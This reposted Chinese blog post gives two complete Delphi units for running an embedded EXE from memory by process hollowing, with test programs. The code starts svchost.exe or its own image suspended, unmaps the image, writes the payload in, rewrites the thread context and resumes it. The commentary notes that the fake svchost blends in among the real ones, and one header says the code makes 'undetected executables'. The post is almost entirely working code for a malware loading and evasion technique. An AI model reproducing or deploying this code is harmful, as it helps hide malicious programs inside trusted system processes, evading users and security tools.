[转帖]Dephi在内存中直接运行EXE类型的资源文件

在内存中直接运行EXE类型的资源文件
2010年01月02日 星期六 17:03

unit PE;
interface
uses windows;

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;
implementation
type
TImageSectionHeaders = array[0..0] of TImageSectionHeader;
PImageSectionHeaders = ^TImageSectionHeaders;
{ 计算对齐后的大小 }

function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal;
begin
result := (Origin + Alignment - 1) div Alignment * Alignment;
end;

{ 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 }

function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders;
peSecH: PImageSectionHeaders): Cardinal;
var
i: Integer;
begin
{计算pe头的大小}
result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment);

{计算所有节的大小}
for i := 0 to peH.FileHeader.NumberOfSections - 1 do
    if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围
    begin
      result := 0;
      exit;
    end
    else if peSecH[i].VirtualAddress <> 0 then //计算对齐后某节的大小
      if peSecH[i].Misc.VirtualSize <> 0 then
        result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)
      else
        result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)
    else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
      result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment)
    else
      result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment);
end;

{ 加载pe到内存并对齐所有节 }

function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders;
var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean;
var
SrcMz: PImageDosHeader; // DOS头
SrcPeH: PImageNtHeaders; // PE头
SrcPeSecH: PImageSectionHeaders; // 节表
i: Integer;
l: Cardinal;
Pt: Pointer;
begin
result := false;
SrcMz := @Buf;
if Len < sizeof(TImageDosHeader) then exit;
if SrcMz.e_magic <> IMAGE_DOS_SIGNATURE then exit;
if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit;
SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew);
if (SrcPeH.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL <> 0) or
    (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0)
    or (SrcPeH.FileHeader.SizeOfOptionalHeader <> SizeOf(TImageOptionalHeader)) then exit;
SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders));
ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH);
if ImageSize = 0 then
    exit;
Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存
if Mem <> nil then
begin
// 计算需要复制的PE头字节数
    l := SrcPeH.OptionalHeader.SizeOfHeaders;
    for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do
      if (SrcPeSecH[i].PointerToRawData <> 0) and (SrcPeSecH[i].PointerToRawData < l) then
        l := SrcPeSecH[i].PointerToRawData;
    Move(SrcMz^, Mem^, l);
    PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew);
    PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders));
     Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment));
    for i := 0 to PeH.FileHeader.NumberOfSections - 1 do
    begin
    // 定位该节在内存中的位置
      if PeSecH[i].VirtualAddress <> 0 then
        Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress);
      if PeSecH[i].SizeOfRawData <> 0 then
      begin
    // 复制数据到内存
        Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData);
        if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
          pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment))
        else
          pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment));
    // pt 定位到下一节开始位置
      end
      else
        pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment));
    end;
    result := True;
end;
end;

type
TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer;
    dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;

var
MyVirtualAllocEx: TVirtualAllocEx = nil;

function IsNT: Boolean;
begin
result := Assigned(MyVirtualAllocEx);
end;

{ 生成外壳程序命令行 }
function PrepareShellExe(CmdParam: string ): string;
begin
{这里的路径 自己定义了^_^,仅仅是外壳程序}
//result:='c:/Program Files/Internet Explorer/iexplore.exe'+CmdParam ;
result := 'c:/windows/system32/svchost.exe' + cmdparam;

end;

{ 是否包含可重定向列表 }
function HasRelocationTable(peH: PImageNtHeaders): Boolean;
begin
result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0)
    and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size <> 0);
end;

type
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
    VirtualAddress: cardinal;
    SizeOfBlock: cardinal;
end;

{ 重定向PE用到的地址 }
procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer);
var
Delta: Cardinal;
p: PImageBaseRelocation;
pw: PWord;
i: Integer;
begin
Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase;
p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (p.VirtualAddress + p.SizeOfBlock <> 0) do
begin
    pw := pointer(Integer(p) + Sizeof(p^));
    for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do
    begin
      if pw^ and $F000 = $3000 then
        Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta);
      inc(pw);
    end;
    p := Pointer(pw);
end;
end;

type
TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall;

{ 卸载原外壳占用内存 }
function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean;
var
M: HModule;
ZwUnmapViewOfSection: TZwUnmapViewOfSection;
begin
result := False;
m := LoadLibrary('ntdll.dll');
if m <> 0 then
begin
    ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection');
    if assigned(ZwUnmapViewOfSection) then
      result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0);
    FreeLibrary(m);
end;
end;

{ 创建外壳进程并获取其基址、大小和当前运行状态 }
function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean;
var
si: TStartUpInfo;
pi: TProcessInformation;
Old: Cardinal;
MemInfo: TMemoryBasicInformation;
p: Pointer;
begin
FillChar(si, Sizeof(si), 0);
FillChar(pi, SizeOf(pi), 0);
si.cb := sizeof(si);
result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程
if result then
begin
    ProcHnd := pi.hProcess;
    ThrdHnd := pi.hThread;
    ProcId := pi.dwProcessId;

{ 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 }
    ctx.ContextFlags := CONTEXT_FULL;
    GetThreadContext(ThrdHnd, ctx);
    ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址
    p := Pointer(BaseAddr);

{ 计算外壳进程占有的内存 }
    while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) <> 0 do
    begin
      if MemInfo.State = MEM_FREE then
        break;
      p := Pointer(Cardinal(p) + MemInfo.RegionSize);
    end;
    ImageSize := Cardinal(p) - Cardinal(BaseAddr);
end;
end;

{ 创建外壳进程并用目标进程替换它然后执行 }
function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders;
Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal;
var
s: string;
Addr, Size: Cardinal;
ctx: TContext;
Old: Cardinal;
p: Pointer;
Thrd: Cardinal;
begin
result := INVALID_HANDLE_VALUE;
s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize});
if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then
begin
    p := nil;
    if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致
    begin
      p := Pointer(Addr);
      VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old);
    end
    else if IsNT then // 98 下失败
    begin
      if UnloadShell(result, Addr) then // 卸载外壳进程占有内存
    // 重新按目标进程加载基址和大小分配内存
        p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向
      begin
    // 按任意基址分配内存
        p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if p <> nil then
          DoRelocation(peH, Ptr, p); // 重定向
      end;
    end;
    if p <> nil then
    begin
      WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址
      peH.OptionalHeader.ImageBase := Cardinal(p);
      if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程
      begin
        ctx.ContextFlags := CONTEXT_FULL;
        if Cardinal(p) = Addr then
          ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址
        else
          ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint;
        SetThreadContext(Thrd, ctx); // 更新运行环境
        ResumeThread(Thrd); // 执行
        CloseHandle(Thrd);
      end
      else begin // 加载失败,杀掉外壳进程
        TerminateProcess(Result, 0);
        CloseHandle(Thrd);
        CloseHandle(Result);
        Result := INVALID_HANDLE_VALUE;
      end;
    end
    else begin // 加载失败,杀掉外壳进程
      TerminateProcess(Result, 0);
      CloseHandle(Thrd);
      CloseHandle(Result);
      Result := INVALID_HANDLE_VALUE;
    end;
end;
end;

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;
var
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders;
Ptr: Pointer;
peSz: Cardinal;
begin
result := INVALID_HANDLE_VALUE;

if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then
begin
    result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId);
    VirtualFree(Ptr, peSz, MEM_DECOMMIT);
//VirtualFree(Ptr, 0, MEM_RELEASE);
end;
end;

initialization
MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx');

end.

///
{测试:你可以把任何一个exe文件 作成资源然后这样调用}
program test;

//{$APPTYPE CONSOLE}

{$R 'data.res' 'data.rc'}//加入exe资源文件

uses
windows,
PE in 'PE.pas'; //引用上面的单元
var
ProcessId: Cardinal;
ResourceLocation: HRSRC;
Size: Longword;
ResDataHandle: THandle;
ResourcePointer: PChar;

begin
ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA);
if ResourceLocation <> 0 then
begin
    Size := SizeofResource(HInstance, ResourceLocation);
    if Size <> 0 then
    begin
      ResDataHandle := LoadResource(HInstance, ResourceLocation);
      if ResDataHandle <> 0 then
      begin
        ResourcePointer := LockResource(ResDataHandle);
        if ResourcePointer <> nil then
        begin
          MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可
        end;
      end;
    end;
end;
end.
{运行一下你会看到 资源里的的exe 运行了 ,程序没有生成exe文件,而是直接从内存里加载并且执行的。
打开任务管理器看一下,比原来多了一个svchost.exe 的进程(进程路径:c:/windows/system32/svchost.exe
就是你在pe 单元里面设定的路径,当然你还任意修改)。你在进程列表里一定看到了多个svchost的进程项目,^_^ 或许
你分辨不出哪一个是你刚才启动的<伪svchost>了。基本就是这样,至于用途自己发挥了,上面只是简单测试一下。}

 

{
   EXE Memory Unit Two For NT,2K,XP,2K3,LH By Anskya
   Email:Anskya@Gmail.com
   Web:Www.Anskya.Net
   Date:04.08.2005
   Thank:Aphex
  
   procedure MemoryRunExe(FileMemory: Pointer);
   [
     This program creates undetected executables that only run
     on Windows NT, 2000, XP, 2003 and LongHorn.   ??
   ]
}
Unit MemoryRunUnitTwo;

interface

{$IMAGEBASE $10000000}

uses
   Windows;

type
   TSections = array [0..0] of TImageSectionHeader;

procedure MemoryRunExe(FileMemory: Pointer);

implementation

function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
   if ((Size mod Alignment) = 0) then
   begin
     Result := Size;
   end
   else
   begin
     Result := ((Size div Alignment) + 1) * Alignment;
   end;
end;

function ImageSize(Image: pointer): dword;
var
   Alignment: dword;
   ImageNtHeaders: PImageNtHeaders;
   PSections: ^TSections;
   SectionLoop: dword;
begin
   ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
   Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
   if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
   begin
     Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
   end
   else
   begin
     Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
   end;
   PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
   for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
   begin
     if PSections[SectionLoop].Misc.VirtualSize <> 0 then
     begin
       if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
       begin
         Result := Result + PSections[SectionLoop].Misc.VirtualSize;
       end
       else
       begin
         Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
       end;
     end;
   end;
end;

procedure MemoryRunExe(FileMemory: Pointer);
var
   BaseAddress, Bytes, HeaderSize, InjectSize,   SectionLoop, SectionSize: dword;
   Context: TContext;
   FileData: pointer;
   ImageNtHeaders: PImageNtHeaders;
   InjectMemory: pointer;
   ProcInfo: TProcessInformation;
   PSections: ^TSections;
   StartInfo: TStartupInfo;
begin
   ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
   InjectSize := ImageSize(FileMemory);
   GetMem(InjectMemory, InjectSize);
   try
     FileData := InjectMemory;
     HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
     PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
     for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
     begin
       if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
     end;
     CopyMemory(FileData, FileMemory, HeaderSize);
     FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
     for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
     begin
       if PSections[SectionLoop].SizeOfRawData > 0 then
       begin
         SectionSize := PSections[SectionLoop].SizeOfRawData;
         if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
         CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
         FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
       end
       else
       begin
         if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
       end;
     end;
     ZeroMemory(@StartInfo, SizeOf(StartupInfo));
     ZeroMemory(@Context, SizeOf(TContext));
     CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
     Context.ContextFlags := CONTEXT_FULL;
     GetThreadContext(ProcInfo.hThread, Context);
     ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
     VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
     WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
     Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
     SetThreadContext(ProcInfo.hThread, Context);
     ResumeThread(ProcInfo.hThread);
   finally
     FreeMemory(InjectMemory);
   end;
end;

end.

{
写了一个简单程序测试通过:)
}
program Test1;

//{$APPTYPE CONSOLE}

uses
   SysUtils,
   Classes,
   MemoryRunUnitTwo in 'MemoryRunUnitTwo.pas';

var
     ABuffer: array of byte;
     Stream: TFileStream;
     ProcessId: Cardinal;
begin
     Stream := TFileStream.Create('HT.exe', fmOpenRead);
     try
         SetLength(ABuffer, Stream.Size);
         Stream.ReadBuffer(ABuffer[0], Stream.Size);
         MemoryRunExe(@ABuffer[0]);
     finally
         Stream.Free;
     end;
end.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值